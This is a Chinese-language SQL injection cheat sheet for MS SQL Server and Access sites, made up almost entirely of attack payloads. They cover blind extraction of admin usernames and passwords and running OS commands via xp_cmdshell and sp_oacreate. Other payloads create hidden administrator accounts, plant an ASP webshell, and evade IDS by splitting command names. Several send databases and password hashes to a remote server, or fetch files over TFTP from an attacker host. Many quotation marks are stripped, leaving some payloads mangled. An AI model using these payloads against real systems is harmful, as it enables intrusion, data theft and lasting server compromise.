SQL 注入语句特征

语句特征 1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目 如果遇到0< 返回正确页面， 1<返回错误页面，说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin) 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len（用户字段名称name)>0) and 1=(select count(*) from admin where len（密码字段名称password)>0) 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜，猜到够你刚才猜出来的多少位了就对了，帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users. id having 1=1-- group by users. id,users.username,users.password,users.privs having 1=1-- ; insert into users values( 666,attacker,foobar,0xffff )-- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id)- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id,login_name)- UNION SELECT TOP 1 login_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- 看服务器打的补丁=出错了打了SP4补丁 and 1=(select @@VERSION)-- 看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。 and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- 判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） and sa=(SELECT System_user)-- and user_name()=dbo-- and 0<>(select user_name()-- 看xp_cmdshell是否删除 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- xp_cmdshell被删除，恢复，支持绝对路径的恢复 ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll-- 反向PING自己实验 ;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 加帐号 ;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- 创建一个虚拟目录E盘： ;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"-- 访问属性：（配合写入一个webshell） declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 爆库 特殊技巧：：%5c=\ 或者把/和\ 修改%5提交 and 0<>(select top 1 paths from newtable)-- 得到库名（从1到5都是系统的id，6以上才可以判断） and 1=(select name from master.dbo.sysdatabases where dbid=7)-- and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的数据库名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段，假设为 user_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,...)) 来暴出其他的字段 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 依次可以得到密码。假设存在user_id username,password 等字段 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用） 得到WEB路径 ;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1-- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/, values=@testOUTPUT insert into paths(path) values(@test)-- ;use ku1;-- ;create table cmd (str image);-- 建立image类型的表cmd 存在xp_cmdshell的测试过程： ;exec master..xp_cmdshell dir ;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 ;exec master.dbo.sp_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp_servicecontrol start,schedule 启动服务 exec master..xp_servicecontrol start,server ; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32 \cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 ;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ ;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat 如果被限制则可以。 select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) 查询构造： SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> select 123;-- ;use master;-- :a or name like fff%;-- 显示有一个叫ffff的用户哈。 and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 上面的语句是得到数据库中的第一个用户表，并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字 insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char (0x69)+char(0x73),0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123,admin--,password,0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //为access数据库 枚举出数据表名 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 这是将第一个表名更新到aaa的字段处。 读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>；刚才得到的表名）。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表，一个个的读出，直到没有为止。 读字段是这样： ;update aaa set aaa=(select top 1 col_name(object_id（表名），1));-- 然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 ;update aaa set aaa=(select top 1 col_name(object_id（表名），2));-- 然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 [获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…） 通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] [获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_name(object_id（要查询的数据表名），字段列如：1) [ where 条件] 绕过IDS的检测[使用变量] ;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ 开启远程数据库 基本语法 select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 ) 参数： (1) OLEDB Provider name 其中连接字符串参数可以是任何端口用来连接，比如 select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table 复制目标主机的整个数据库insert所有远程表到本地表。 基本语法： insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects) select * from user_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) select * from user_database.dbo.syscolumns 复制数据库： insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2 复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下： insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins 得到hash之后，就可以进行暴力破解。 遍历目录的方法：先创建一个临时表：temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构，并寸入temp表中 ;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 ;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- ;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- ;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC） 写入表： 语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- 语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- 语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));-- 语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));-- 语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 语句9：and 1=(SELECT IS_MEMBER(db_owner));-- 把路径写到表中去： ;create table dirs(paths varchar(100),id int)-- ;insert dirs exec master.dbo.xp_dirtree c:\-- and 0<>(select top 1 paths from dirs)-- and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- ;create table dirs1(paths varchar(100),id int)-- ;insert dirs exec master.dbo.xp_dirtree e:\web-- and 0<>(select top 1 paths from dirs1)-- 把数据库备份到网页目录：下载 ;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 and 1=(select user_id from USER_LOGIN) and 0=(select user from USER_LOGIN where user>1) -=-wscript.shellexample -=- declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe ; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe-- declare @o int,@f int,@t int,@ret int declare @line varchar(8000) exec sp_oacreate scripting.filesystemobject,@o out exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1 exec @ret = sp_oamethod @f,readline,@line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f,readline,@line out end declare @o int,@f int,@t int,@ret int exec sp_oacreate scripting.filesystemobject,@o out exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1 exec @ret = sp_oamethod @f,writeline,NULL, <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05 ; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05-- xp_dirtree适用权限PUBLIC exec master.dbo.xp_dirtree c:\ 返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。 create table dirs(paths varchar(100),id int) 建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。 insert dirs exec master.dbo.xp_dirtree c:\